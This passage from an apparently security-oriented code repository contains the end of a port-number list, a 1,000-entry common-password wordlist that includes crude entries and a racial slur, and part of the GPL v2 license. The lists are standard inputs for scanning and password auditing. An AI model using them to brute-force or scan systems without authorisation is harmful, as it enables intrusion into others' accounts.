113 | '5999', '6000', '6001', '6002', '6003', '6004', '6005', '6006', '6007', '6009', '6025', '6059', '6100', '6101',
114 | '6106', '6112', '6123', '6129', '6156', '6346', '6389', '6502', '6510', '6543', '6547', '6565', '6566', '6567',
115 | '6580', '6646', '6666', '6667', '6668', '6669', '6689', '6692', '6699', '6779', '6788', '6789', '6792', '6839',
116 | '6881', '6901', '6969', '7000', '7001', '7002', '7004', '7007', '7019', '7025', '7070', '7100', '7103', '7106',
117 | '7200', '7201', '7402', '7435', '7443', '7496', '7512', '7625', '7627', '7676', '7741', '7777', '7778', '7800',
118 | '7911', '7920', '7921', '7937', '7938', '7999', '8000', '8001', '8002', '8007', '8008', '8009', '8010', '8011',
119 | '8021', '8022', '8031', '8042', '8045', '8080', '8081', '8082', '8083', '8084', '8085', '8086', '8087', '8088',
120 | '8089', '8090', '8093', '8099', '8100', '8180', '8181', '8192', '8193', '8194', '8200', '8222', '8254', '8290',
121 | '8291', '8292', '8300', '8333', '8383', '8400', '8402', '8443', '8500', '8600', '8649', '8651', '8652', '8654',
122 | '8701', '8800', '8873', '8888', '8899', '8994', '9000', '9001', '9002', '9003', '9009', '9010', '9011', '9040',
123 | '9050', '9071', '9080', '9081', '9090', '9091', '9099', '9100', '9101', '9102', '9103', '9110', '9111', '9200',
124 | '9207', '9220', '9290', '9415', '9418', '9485', '9500', '9502', '9503', '9535', '9575', '9593', '9594', '9595',
125 | '9618', '9666', '9876', '9877', '9878', '9898', '9900', '9917', '9929', '9943', '9944', '9968', '9998', '9999',
126 | '10000', '10001', '10002', '10003', '10004', '10009', '10010', '10012', '10024', '10025', '10082', '10180',
127 | '10215', '10243', '10566', '10616', '10617', '10621', '10626', '10628', '10629', '10778', '11110', '11111',
128 | '11967', '12000', '12174', '12265', '12345', '13456', '13722', '13782', '13783', '14000', '14238', '14441',
129 | '14442', '15000', '15002', '15003', '15004', '15660', '15742', '16000', '16001', '16012', '16016', '16018',
130 | '16080', '16113', '16992', '16993', '17877', '17988', '18040', '18101', '18988', '19101', '19283', '19315',
131 | '19350', '19780', '19801', '19842', '20000', '20005', '20031', '20221', '20222', '20828', '21571', '22939',
132 | '23502', '24444', '24800', '25734', '25735', '26214', '27000', '27352', '27353', '27355', '27356', '27715',
133 | '28201', '30000', '30718', '30951', '31038', '31337', '32768', '32769', '32770', '32771', '32772', '32773',
134 | '32774', '32775', '32776', '32777', '32778', '32779', '32780', '32781', '32782', '32783', '32784', '32785',
135 | '33354', '33899', '34571', '34572', '34573', '35500', '38292', '40193', '40911', '41511', '42510', '44176',
136 | '44442', '44443', '44501', '45100', '48080', '49152', '49153', '49154', '49155', '49156', '49157', '49158',
137 | '49159', '49160', '49161', '49163', '49165', '49167', '49175', '49176', '49400', '49999', '50000', '50001',
138 | '50002', '50003', '50006', '50300', '50389', '50500', '50636', '50800', '51103', '51493', '52673', '52822',
139 | '52848', '52869', '54045', '54328', '55055', '55056', '55555', '55600', '56737', '56738', '57294', '57797',
140 | '58080', '60020', '60443', '61532', '61900', '62078', '63331', '64623', '64680', '65000', '65129', '65389']
141 |
--------------------------------------------------------------------------------
/data/pass1000.txt:
--------------------------------------------------------------------------------
1 | password
2 | 123456
3 | 12345678
4 | 1234
5 | qwerty
6 | 12345
7 | dragon
8 | pussy
9 | baseball
10 | football
11 | letmein
12 | monkey
13 | 696969
14 | abc123
15 | mustang
16 | michael
17 | shadow
18 | master
19 | jennifer
20 | 111111
21 | 2000
22 | jordan
23 | superman
24 | harley
25 | 1234567
26 | fuckme
27 | hunter
28 | fuckyou
29 | trustno1
30 | ranger
31 | buster
32 | thomas
33 | tigger
34 | robert
35 | soccer
36 | fuck
37 | batman
38 | test
39 | pass
40 | killer
41 | hockey
42 | george
43 | charlie
44 | andrew
45 | michelle
46 | love
47 | sunshine
48 | jessica
49 | asshole
50 | 6969
51 | pepper
52 | daniel
53 | access
54 | 123456789
55 | 654321
56 | joshua
57 | maggie
58 | starwars
59 | silver
60 | william
61 | dallas
62 | yankees
63 | 123123
64 | ashley
65 | 666666
66 | hello
67 | amanda
68 | orange
69 | biteme
70 | freedom
71 | computer
72 | sexy
73 | thunder
74 | nicole
75 | ginger
76 | heather
77 | hammer
78 | summer
79 | corvette
80 | taylor
81 | fucker
82 | austin
83 | 1111
84 | merlin
85 | matthew
86 | 121212
87 | golfer
88 | cheese
89 | princess
90 | martin
91 | chelsea
92 | patrick
93 | richard
94 | diamond
95 | yellow
96 | bigdog
97 | secret
98 | asdfgh
99 | sparky
100 | cowboy
101 | camaro
102 | anthony
103 | matrix
104 | falcon
105 | iloveyou
106 | bailey
107 | guitar
108 | jackson
109 | purple
110 | scooter
111 | phoenix
112 | aaaaaa
113 | morgan
114 | tigers
115 | porsche
116 | mickey
117 | maverick
118 | cookie
119 | nascar
120 | peanut
121 | justin
122 | 131313
123 | money
124 | horny
125 | samantha
126 | panties
127 | steelers
128 | joseph
129 | snoopy
130 | boomer
131 | whatever
132 | iceman
133 | smokey
134 | gateway
135 | dakota
136 | cowboys
137 | eagles
138 | chicken
139 | dick
140 | black
141 | zxcvbn
142 | please
143 | andrea
144 | ferrari
145 | knight
146 | hardcore
147 | melissa
148 | compaq
149 | coffee
150 | booboo
151 | bitch
152 | johnny
153 | bulldog
154 | xxxxxx
155 | welcome
156 | james
157 | player
158 | ncc1701
159 | wizard
160 | scooby
161 | charles
162 | junior
163 | internet
164 | bigdick
165 | mike
166 | brandy
167 | tennis
168 | blowjob
169 | banana
170 | monster
171 | spider
172 | lakers
173 | miller
174 | rabbit
175 | enter
176 | mercedes
177 | brandon
178 | steven
179 | fender
180 | john
181 | yamaha
182 | diablo
183 | chris
184 | boston
185 | tiger
186 | marine
187 | chicago
188 | rangers
189 | gandalf
190 | winter
191 | bigtits
192 | barney
193 | edward
194 | raiders
195 | porn
196 | badboy
197 | blowme
198 | spanky
199 | bigdaddy
200 | johnson
201 | chester
202 | london
203 | midnight
204 | blue
205 | fishing
206 | 000000
207 | hannah
208 | slayer
209 | 11111111
210 | rachel
211 | sexsex
212 | redsox
213 | thx1138
214 | asdf
215 | marlboro
216 | panther
217 | zxcvbnm
218 | arsenal
219 | oliver
220 | qazwsx
221 | mother
222 | victoria
223 | 7777777
224 | jasper
225 | angel
226 | david
227 | winner
228 | crystal
229 | golden
230 | butthead
231 | viking
232 | jack
233 | iwantu
234 | shannon
235 | murphy
236 | angels
237 | prince
238 | cameron
239 | girls
240 | madison
241 | wilson
242 | carlos
243 | hooters
244 | willie
245 | startrek
246 | captain
247 | maddog
248 | jasmine
249 | butter
250 | booger
251 | angela
252 | golf
253 | lauren
254 | rocket
255 | tiffany
256 | theman
257 | dennis
258 | liverpoo
259 | flower
260 | forever
261 | green
262 | jackie
263 | muffin
264 | turtle
265 | sophie
266 | danielle
267 | redskins
268 | toyota
269 | jason
270 | sierra
271 | winston
272 | debbie
273 | giants
274 | packers
275 | newyork
276 | jeremy
277 | casper
278 | bubba
279 | 112233
280 | sandra
281 | lovers
282 | mountain
283 | united
284 | cooper
285 | driver
286 | tucker
287 | helpme
288 | fucking
289 | pookie
290 | lucky
291 | maxwell
292 | 8675309
293 | bear
294 | suckit
295 | gators
296 | 5150
297 | 222222
298 | shithead
299 | fuckoff
300 | jaguar
301 | monica
302 | fred
303 | happy
304 | hotdog
305 | tits
306 | gemini
307 | lover
308 | xxxxxxxx
309 | 777777
310 | canada
311 | nathan
312 | victor
313 | florida
314 | 88888888
315 | nicholas
316 | rosebud
317 | metallic
318 | doctor
319 | trouble
320 | success
321 | stupid
322 | tomcat
323 | warrior
324 | peaches
325 | apples
326 | fish
327 | qwertyui
328 | magic
329 | buddy
330 | dolphins
331 | rainbow
332 | gunner
333 | 987654
334 | freddy
335 | alexis
336 | braves
337 | cock
338 | 2112
339 | 1212
340 | cocacola
341 | xavier
342 | dolphin
343 | testing
344 | bond007
345 | member
346 | calvin
347 | voodoo
348 | 7777
349 | samson
350 | alex
351 | apollo
352 | fire
353 | tester
354 | walter
355 | beavis
356 | voyager
357 | peter
358 | porno
359 | bonnie
360 | rush2112
361 | beer
362 | apple
363 | scorpio
364 | jonathan
365 | skippy
366 | sydney
367 | scott
368 | red123
369 | power
370 | gordon
371 | travis
372 | beaver
373 | star
374 | jackass
375 | flyers
376 | boobs
377 | 232323
378 | zzzzzz
379 | steve
380 | rebecca
381 | scorpion
382 | doggie
383 | legend
384 | ou812
385 | yankee
386 | blazer
387 | bill
388 | runner
389 | birdie
390 | bitches
391 | 555555
392 | parker
393 | topgun
394 | asdfasdf
395 | heaven
396 | viper
397 | animal
398 | 2222
399 | bigboy
400 | 4444
401 | arthur
402 | baby
403 | private
404 | godzilla
405 | donald
406 | williams
407 | lifehack
408 | phantom
409 | dave
410 | rock
411 | august
412 | sammy
413 | cool
414 | brian
415 | platinum
416 | jake
417 | bronco
418 | paul
419 | mark
420 | frank
421 | heka6w2
422 | copper
423 | billy
424 | cumshot
425 | garfield
426 | willow
427 | cunt
428 | little
429 | carter
430 | slut
431 | albert
432 | 69696969
433 | kitten
434 | super
435 | jordan23
436 | eagle1
437 | shelby
438 | america
439 | 11111
440 | jessie
441 | house
442 | free
443 | 123321
444 | chevy
445 | bullshit
446 | white
447 | broncos
448 | horney
449 | surfer
450 | nissan
451 | 999999
452 | saturn
453 | airborne
454 | elephant
455 | marvin
456 | shit
457 | action
458 | adidas
459 | qwert
460 | kevin
461 | 1313
462 | explorer
463 | walker
464 | police
465 | christin
466 | december
467 | benjamin
468 | wolf
469 | sweet
470 | therock
471 | king
472 | online
473 | dickhead
474 | brooklyn
475 | teresa
476 | cricket
477 | sharon
478 | dexter
479 | racing
480 | penis
481 | gregory
482 | 0000
483 | teens
484 | redwings
485 | dreams
486 | michigan
487 | hentai
488 | magnum
489 | 87654321
490 | nothing
491 | donkey
492 | trinity
493 | digital
494 | 333333
495 | stella
496 | cartman
497 | guinness
498 | 123abc
499 | speedy
500 | buffalo
501 | kitty
502 | pimpin
503 | eagle
504 | einstein
505 | kelly
506 | nelson
507 | nirvana
508 | vampire
509 | xxxx
510 | playboy
511 | louise
512 | pumpkin
513 | snowball
514 | test123
515 | girl
516 | sucker
517 | mexico
518 | beatles
519 | fantasy
520 | ford
521 | gibson
522 | celtic
523 | marcus
524 | cherry
525 | cassie
526 | 888888
527 | natasha
528 | sniper
529 | chance
530 | genesis
531 | hotrod
532 | reddog
533 | alexande
534 | college
535 | jester
536 | passw0rd
537 | bigcock
538 | smith
539 | lasvegas
540 | carmen
541 | slipknot
542 | 3333
543 | death
544 | kimberly
545 | 1q2w3e
546 | eclipse
547 | 1q2w3e4r
548 | stanley
549 | samuel
550 | drummer
551 | homer
552 | montana
553 | music
554 | aaaa
555 | spencer
556 | jimmy
557 | carolina
558 | colorado
559 | creative
560 | hello1
561 | rocky
562 | goober
563 | friday
564 | bollocks
565 | scotty
566 | abcdef
567 | bubbles
568 | hawaii
569 | fluffy
570 | mine
571 | stephen
572 | horses
573 | thumper
574 | 5555
575 | pussies
576 | darkness
577 | asdfghjk
578 | pamela
579 | boobies
580 | buddha
581 | vanessa
582 | sandman
583 | naughty
584 | douglas
585 | honda
586 | matt
587 | azerty
588 | 6666
589 | shorty
590 | money1
591 | beach
592 | loveme
593 | 4321
594 | simple
595 | poohbear
596 | 444444
597 | badass
598 | destiny
599 | sarah
600 | denise
601 | vikings
602 | lizard
603 | melanie
604 | assman
605 | sabrina
606 | nintendo
607 | water
608 | good
609 | howard
610 | time
611 | 123qwe
612 | november
613 | xxxxx
614 | october
615 | leather
616 | bastard
617 | young
618 | 101010
619 | extreme
620 | hard
621 | password1
622 | vincent
623 | pussy1
624 | lacrosse
625 | hotmail
626 | spooky
627 | amateur
628 | alaska
629 | badger
630 | paradise
631 | maryjane
632 | poop
633 | crazy
634 | mozart
635 | video
636 | russell
637 | vagina
638 | spitfire
639 | anderson
640 | norman
641 | eric
642 | cherokee
643 | cougar
644 | barbara
645 | long
646 | 420420
647 | family
648 | horse
649 | enigma
650 | allison
651 | raider
652 | brazil
653 | blonde
654 | jones
655 | 55555
656 | dude
657 | drowssap
658 | jeff
659 | school
660 | marshall
661 | lovely
662 | 1qaz2wsx
663 | jeffrey
664 | caroline
665 | franklin
666 | booty
667 | molly
668 | snickers
669 | leslie
670 | nipples
671 | courtney
672 | diesel
673 | rocks
674 | eminem
675 | westside
676 | suzuki
677 | daddy
678 | passion
679 | hummer
680 | ladies
681 | zachary
682 | frankie
683 | elvis
684 | reggie
685 | alpha
686 | suckme
687 | simpson
688 | patricia
689 | 147147
690 | pirate
691 | tommy
692 | semperfi
693 | jupiter
694 | redrum
695 | freeuser
696 | wanker
697 | stinky
698 | ducati
699 | paris
700 | natalie
701 | babygirl
702 | bishop
703 | windows
704 | spirit
705 | pantera
706 | monday
707 | patches
708 | brutus
709 | houston
710 | smooth
711 | penguin
712 | marley
713 | forest
714 | cream
715 | 212121
716 | flash
717 | maximus
718 | nipple
719 | bobby
720 | bradley
721 | vision
722 | pokemon
723 | champion
724 | fireman
725 | indian
726 | softball
727 | picard
728 | system
729 | clinton
730 | cobra
731 | enjoy
732 | lucky1
733 | claire
734 | claudia
735 | boogie
736 | timothy
737 | marines
738 | security
739 | dirty
740 | admin
741 | wildcats
742 | pimp
743 | dancer
744 | hardon
745 | veronica
746 | fucked
747 | abcd1234
748 | abcdefg
749 | ironman
750 | wolverin
751 | remember
752 | great
753 | freepass
754 | bigred
755 | squirt
756 | justice
757 | francis
758 | hobbes
759 | kermit
760 | pearljam
761 | mercury
762 | domino
763 | 9999
764 | denver
765 | brooke
766 | rascal
767 | hitman
768 | mistress
769 | simon
770 | tony
771 | bbbbbb
772 | friend
773 | peekaboo
774 | naked
775 | budlight
776 | electric
777 | sluts
778 | stargate
779 | saints
780 | bondage
781 | brittany
782 | bigman
783 | zombie
784 | swimming
785 | duke
786 | qwerty1
787 | babes
788 | scotland
789 | disney
790 | rooster
791 | brenda
792 | mookie
793 | swordfis
794 | candy
795 | duncan
796 | olivia
797 | hunting
798 | blink182
799 | alicia
800 | 8888
801 | samsung
802 | bubba1
803 | whore
804 | virginia
805 | general
806 | passport
807 | aaaaaaaa
808 | erotic
809 | liberty
810 | arizona
811 | jesus
812 | abcd
813 | newport
814 | skipper
815 | rolltide
816 | balls
817 | happy1
818 | galore
819 | christ
820 | weasel
821 | 242424
822 | wombat
823 | digger
824 | classic
825 | bulldogs
826 | poopoo
827 | accord
828 | popcorn
829 | turkey
830 | jenny
831 | amber
832 | bunny
833 | mouse
834 | 007007
835 | titanic
836 | liverpool
837 | dreamer
838 | everton
839 | friends
840 | chevelle
841 | carrie
842 | gabriel
843 | psycho
844 | nemesis
845 | burton
846 | pontiac
847 | connor
848 | eatme
849 | lickme
850 | roland
851 | cumming
852 | mitchell
853 | ireland
854 | lincoln
855 | arnold
856 | spiderma
857 | patriots
858 | goblue
859 | devils
860 | eugene
861 | empire
862 | asdfg
863 | cardinal
864 | brown
865 | shaggy
866 | froggy
867 | qwer
868 | kawasaki
869 | kodiak
870 | people
871 | phpbb
872 | light
873 | 54321
874 | kramer
875 | chopper
876 | hooker
877 | honey
878 | whynot
879 | lesbian
880 | lisa
881 | baxter
882 | adam
883 | snake
884 | teen
885 | ncc1701d
886 | qqqqqq
887 | airplane
888 | britney
889 | avalon
890 | sandy
891 | sugar
892 | sublime
893 | stewart
894 | wildcat
895 | raven
896 | scarface
897 | elizabet
898 | 123654
899 | trucks
900 | wolfpack
901 | pervert
902 | lawrence
903 | raymond
904 | redhead
905 | american
906 | alyssa
907 | bambam
908 | movie
909 | woody
910 | shaved
911 | snowman
912 | tiger1
913 | chicks
914 | raptor
915 | 1969
916 | stingray
917 | shooter
918 | france
919 | stars
920 | madmax
921 | kristen
922 | sports
923 | jerry
924 | 789456
925 | garcia
926 | simpsons
927 | lights
928 | ryan
929 | looking
930 | chronic
931 | alison
932 | hahaha
933 | packard
934 | hendrix
935 | perfect
936 | service
937 | spring
938 | srinivas
939 | spike
940 | katie
941 | 252525
942 | oscar
943 | brother
944 | bigmac
945 | suck
946 | single
947 | cannon
948 | georgia
949 | popeye
950 | tattoo
951 | texas
952 | party
953 | bullet
954 | taurus
955 | sailor
956 | wolves
957 | panthers
958 | japan
959 | strike
960 | flowers
961 | pussycat
962 | chris1
963 | loverboy
964 | berlin
965 | sticky
966 | marina
967 | tarheels
968 | fisher
969 | russia
970 | connie
971 | wolfgang
972 | testtest
973 | mature
974 | bass
975 | catch22
976 | juice
977 | michael1
978 | nigger
979 | 159753
980 | women
981 | alpha1
982 | trooper
983 | hawkeye
984 | head
985 | freaky
986 | dodgers
987 | pakistan
988 | machine
989 | pyramid
990 | vegeta
991 | katana
992 | moose
993 | tinker
994 | coyote
995 | infinity
996 | inside
997 | pepsi
998 | letmein1
999 | bang
1000 | control
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 2, June 1991
3 |
4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
6 | Everyone is permitted to copy and distribute verbatim copies
7 | of this license document, but changing it is not allowed.
8 |
9 | Preamble
10 |
11 | The licenses for most software are designed to take away your
12 | freedom to share and change it. By contrast, the GNU General Public
13 | License is intended to guarantee your freedom to share and change free
14 | software--to make sure the software is free for all its users. This
15 | General Public License applies to most of the Free Software
16 | Foundation's software and to any other program whose authors commit to
17 | using it. (Some other Free Software Foundation software is covered by
18 | the GNU Lesser General Public License instead.) You can apply it to
19 | your programs, too.
20 |
21 | When we speak of free software, we are referring to freedom, not
22 | price. Our General Public Licenses are designed to make sure that you
23 | have the freedom to distribute copies of free software (and charge for
24 | this service if you wish), that you receive source code or can get it
25 | if you want it, that you can change the software or use pieces of it
26 | in new free programs; and that you know you can do these things.
27 |
28 | To protect your rights, we need to make restrictions that forbid
29 | anyone to deny you these rights or to ask you to surrender the rights.
30 | These restrictions translate to certain responsibilities for you if you
31 | distribute copies of the software, or if you modify it.
32 |
33 | For example, if you distribute copies of such a program, whether
34 | gratis or for a fee, you must give the recipients all the rights that
35 | you have. You must make sure that they, too, receive or can get the
36 | source code. And you must show them these terms so they know their
37 | rights.
38 |
39 | We protect your rights with two steps: (1) copyright the software, and
40 | (2) offer you this license which gives you legal permission to copy,
41 | distribute and/or modify the software.
42 |
43 | Also, for each author's protection and ours, we want to make certain
44 | that everyone understands that there is no warranty for this free
45 | software. If the software is modified by someone else and passed on, we
46 | want its recipients to know that what they have is not the original, so
47 | that any problems introduced by others will not reflect on the original
48 | authors' reputations.
49 |
50 | Finally, any free program is threatened constantly by software
51 | patents. We wish to avoid the danger that redistributors of a free
52 | program will individually obtain patent licenses, in effect making the
53 | program proprietary. To prevent this, we have made it clear that any
54 | patent must be licensed for everyone's free use or not licensed at all.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | GNU GENERAL PUBLIC LICENSE
60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
61 |
62 | 0. This License applies to any program or other work which contains
63 | a notice placed by the copyright holder saying it may be distributed
64 | under the terms of this General Public License. The "Program", below,
65 | refers to any such program or work, and a "work based on the Program"
66 | means either the Program or any derivative work under copyright law:
67 | that is to say, a work containing the Program or a portion of it,
68 | either verbatim or with modifications and/or translated into another
69 | language. (Hereinafter, translation is included without limitation in
70 | the term "modification".) Each licensee is addressed as "you".
71 |
72 | Activities other than copying, distribution and modification are not
73 | covered by this License; they are outside its scope. The act of
74 | running the Program is not restricted, and the output from the Program
75 | is covered only if its contents constitute a work based on the
76 | Program (independent of having been made by running the Program).
77 | Whether that is true depends on what the Program does.
78 |
79 | 1. You may copy and distribute verbatim copies of the Program's
80 | source code as you receive it, in any medium, provided that you
81 | conspicuously and appropriately publish on each copy an appropriate
82 | copyright notice and disclaimer of warranty; keep intact all the
83 | notices that refer to this License and to the absence of any warranty;
84 | and give any other recipients of the Program a copy of this License
85 | along with the Program.
86 |
87 | You may charge a fee for the physical act of transferring a copy, and
88 | you may at your option offer warranty protection in exchange for a fee.
89 |
90 | 2. You may modify your copy or copies of the Program or any portion
91 | of it, thus forming a work based on the Program, and copy and
92 | distribute such modifications or work under the terms of Section 1
93 | above, provided that you also meet all of these conditions:
94 |
95 | a) You must cause the modified files to carry prominent notices
96 | stating that you changed the files and the date of any change.
97 |
98 | b) You must cause any work that you distribute or publish, that in
99 | whole or in part contains or is derived from the Program or any
100 | part thereof, to be licensed as a whole at no charge to all third
101 | parties under the terms of this License.
102 |
103 | c) If the modified program normally reads commands interactively
104 | when run, you must cause it, when started running for such
105 | interactive use in the most ordinary way, to print or display an
106 | announcement including an appropriate copyright notice and a
107 | notice that there is no warranty (or else, saying that you provide
108 | a warranty) and that users may redistribute the program under
109 | these conditions, and telling the user how to view a copy of this
110 | License. (Exception: if the Program itself is interactive but
111 | does not normally print such an announcement, your work based on
112 | the Program is not required to print an announcement.)
113 |
114 | These requirements apply to the modified work as a whole. If
115 | identifiable sections of that work are not derived from the Program,
116 | and can be reasonably considered independent and separate works in
117 | themselves, then this License, and its terms, do not apply to those
118 | sections when you distribute them as separate works. But when you
119 | distribute the same sections as part of a whole which is a work based
120 | on the Program, the distribution of the whole must be on the terms of
121 | this License, whose permissions for other licensees extend to the
122 | entire whole, and thus to each and every part regardless of who wrote it.
123 |
124 | Thus, it is not the intent of this section to claim rights or contest
125 | your rights to work written entirely by you; rather, the intent is to
126 | exercise the right to control the distribution of derivative or
127 | collective works based on the Program.
128 |
129 | In addition, mere aggregation of another work not based on the Program
130 | with the Program (or with a work based on the Program) on a volume of
131 | a storage or distribution medium does not bring the other work under
132 | the scope of this License.
133 |
134 | 3. You may copy and distribute the Program (or a work based on it,
135 | under Section 2) in object code or executable form under the terms of
136 | Sections 1 and 2 above provided that you also do one of the following:
137 |
138 | a) Accompany it with the complete corresponding machine-readable
139 | source code, which must be distributed under the terms of Sections
140 | 1 and 2 above on a medium customarily used for software interchange; or,
141 |
142 | b) Accompany it with a written offer, valid for at least three
143 | years, to give any third party, for a charge no more than your
144 | cost of physically performing source distribution, a complete
145 | machine-readable copy of the corresponding source code, to be
146 | distributed under the terms of Sections 1 and 2 above on a medium
147 | customarily used for software interchange; or,
148 |
149 | c) Accompany it with the information you received as to the offer
150 | to distribute corresponding source code. (This alternative is
151 | allowed only for noncommercial distribution and only if you
152 | received the program in object code or executable form with such
153 | an offer, in accord with Subsection b above.)
154 |
155 | The source code for a work means the preferred form of the work for
156 | making modifications to it. For an executable work, complete source
157 | code means all the source code for all modules it contains, plus any
158 | associated interface definition files, plus the scripts used to
159 | control compilation and installation of the executable. However, as a
160 | special exception, the source code distributed need not include
161 | anything that is normally distributed (in either source or binary
162 | form) with the major components (compiler, kernel, and so on) of the
163 | operating system on which the executable runs, unless that component
164 | itself accompanies the executable.
165 |
166 | If distribution of executable or object code is made by offering
167 | access to copy from a designated place, then offering equivalent
168 | access to copy the source code from the same place counts as
169 | distribution of the source code, even though third parties are not
170 | compelled to copy the source along with the object code.
171 |
172 | 4. You may not copy, modify, sublicense, or distribute the Program
173 | except as expressly provided under this License. Any attempt
174 | otherwise to copy, modify, sublicense or distribute the Program is
175 | void, and will automatically terminate your rights under this License.
176 | However, parties who have received copies, or rights, from you under
177 | this License will not have their licenses terminated so long as such
178 | parties remain in full compliance.
179 |
180 | 5. You are not required to accept this License, since you have not
181 | signed it. However, nothing else grants you permission to modify or
182 | distribute the Program or its derivative works. These actions are
183 | prohibited by law if you do not accept this License. Therefore, by
184 | modifying or distributing the Program (or any work based on the
185 | Program), you indicate your acceptance of this License to do so, and
186 | all its terms and conditions for copying, distributing or modifying
187 | the Program or works based on it.
188 |
189 | 6. Each time you redistribute the Program (or any work based on the
190 | Program), the recipient automatically receives a license from the
191 | original licensor to copy, distribute or modify the Program subject to
192 | these terms and conditions. You may not impose any further
193 | restrictions on the recipients' exercise of the rights granted herein.
194 | You are not responsible for enforcing compliance by third parties to
195 | this License.
196 |
197 | 7. If, as a consequence of a court judgment or allegation of patent
198 | infringement or for any other reason (not limited to patent issues),
199 | conditions are imposed on you (whether by court order, agreement or
200 | otherwise) that contradict the conditions of this License, they do not
201 | excuse you from the conditions of this License. If you cannot
202 | distribute so as to satisfy simultaneously your obligations under this
203 | License and any other pertinent obligations, then as a consequence you
204 | may not distribute the Program at all. For example, if a patent
205 | license would not permit royalty-free redistribution of the Program by
206 | all those who receive copies directly or indirectly through you, then
207 | the only way you could satisfy both it and this License would be to
208 | refrain entirely from distribution of the Program.
209 |
210 | If any portion of this section is held invalid or unenforceable under
211 | any particular circumstance, the balance of the section is intended to
212 | apply and the section as a whole is intended to apply in other
213 | circumstances.
214 |
215 | It is not the purpose of this section to induce you to infringe any
216 | patents or other property right claims or to contest validity of any
217 | such claims; this section has the sole purpose of protecting the
218 | integrity of the free software distribution system, which is
219 | implemented by public license practices. Many people have made
220 | generous contributions to the wide range of software distributed
221 | through that system in reliance on consistent application of that
222 | system; it is up to the author/donor to decide if he or she is willing
223 | to distribute software through any other system and a licensee cannot
224 | impose that choice.
225 |
226 | This section is intended to make thoroughly clear what is believed to
227 | be a consequence of the rest of this License.
228 |
229 | 8. If the distribution and/or use of the Program is restricted in
230 | certain countries either by patents or by copyrighted interfaces, the
231 | original copyright holder who places the Program under this License
232 | may add an explicit geographical distribution limitation excluding
233 | those countries, so that distribution is permitted only in or among
234 | countries not thus excluded. In such case, this License incorporates
235 | the limitation as if written in the body of this License.
236 |
237 | 9. The Free Software Foundation may publish revised and/or new versions
238 | of the General Public License from time to time. Such new versions will
239 | be similar in spirit to the present version, but may differ in detail to
240 | address new problems or concerns.
241 |
242 | Each version is given a distinguishing version number. If the Program
243 | specifies a version number of this License which applies to it and "any
244 | later version", you have the option of following the terms and conditions
245 | either of that version or of any later version published by the Free
246 | Software Foundation. If the Program does not specify a version number of
247 | this License, you may choose any version ever published by the Free Software
248 | Foundation.
249 |
250 | 10. If you wish to incorporate parts of the Program into other free
251 | programs whose distribution conditions are different, write to the author
252 | to ask for permission. For software which is copyrighted by the Free
253 | Software Foundation, write to the Free Software Foundation; we sometimes
254 | make exceptions for this. Our decision will be guided by the two goals
255 | of preserving the free status of all derivatives of our free software and
256 | of promoting the sharing and reuse of software generally.
257 |
258 | NO WARRANTY
259 |
260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 | REPAIR OR CORRECTION.
269 |
270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 | POSSIBILITY OF SUCH DAMAGES.
279 |
280 | END OF TERMS AND CONDITIONS
281 |
282 | How to Apply These Terms to Your New Programs
283 |
284 | If you develop a new program, and you want it to be of the greatest
285 | possible use to the public, the best way to achieve this is to make it
286 | free software which everyone can redistribute and change under these terms.
287 |
288 | To do so, attach the following notices to the program. It is safest
289 | to attach them to the start of each source file to most effectively
290 | convey the exclusion of warranty; and each file should have at least
291 | the "copyright" line and a pointer to where the full notice is found.
292 |
293 | {description}
294 | Copyright (C) {year} {fullname}
295 |
296 | This program is free software; you can redistribute it and/or modify
297 | it under the terms of the GNU General Public License as published by
298 | the Free Software Foundation; either version 2 of the License, or
299 | (at your option) any later version.
300 |
301 | This program is distributed in the hope that it will be useful,
302 | but WITHOUT ANY WARRANTY; without even the implied warranty of
303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304 | GNU General Public License for more details.
305 |
306 | You should have received a copy of the GNU General Public License along
307 | with this program; if not, write to the Free Software Foundation, Inc.,
308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
309 |
310 | Also add information on how to contact you by electronic and paper mail.
311 |
312 | If the program is interactive, make it output a short notice like this
313 | when it starts in an interactive mode:
314 |
315 | Gnomovision version 69, Copyright (C) year name of author
316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317 | This is free software, and you are welcome to redistribute it
318 | under certain conditions; type `show c' for details.
319 |
320 | The hypothetical commands `show w' and `show c' should show the appropriate
321 | parts of the General Public License. Of course, the commands you use may
322 | be called something other than `show w' and `show c'; they could even be
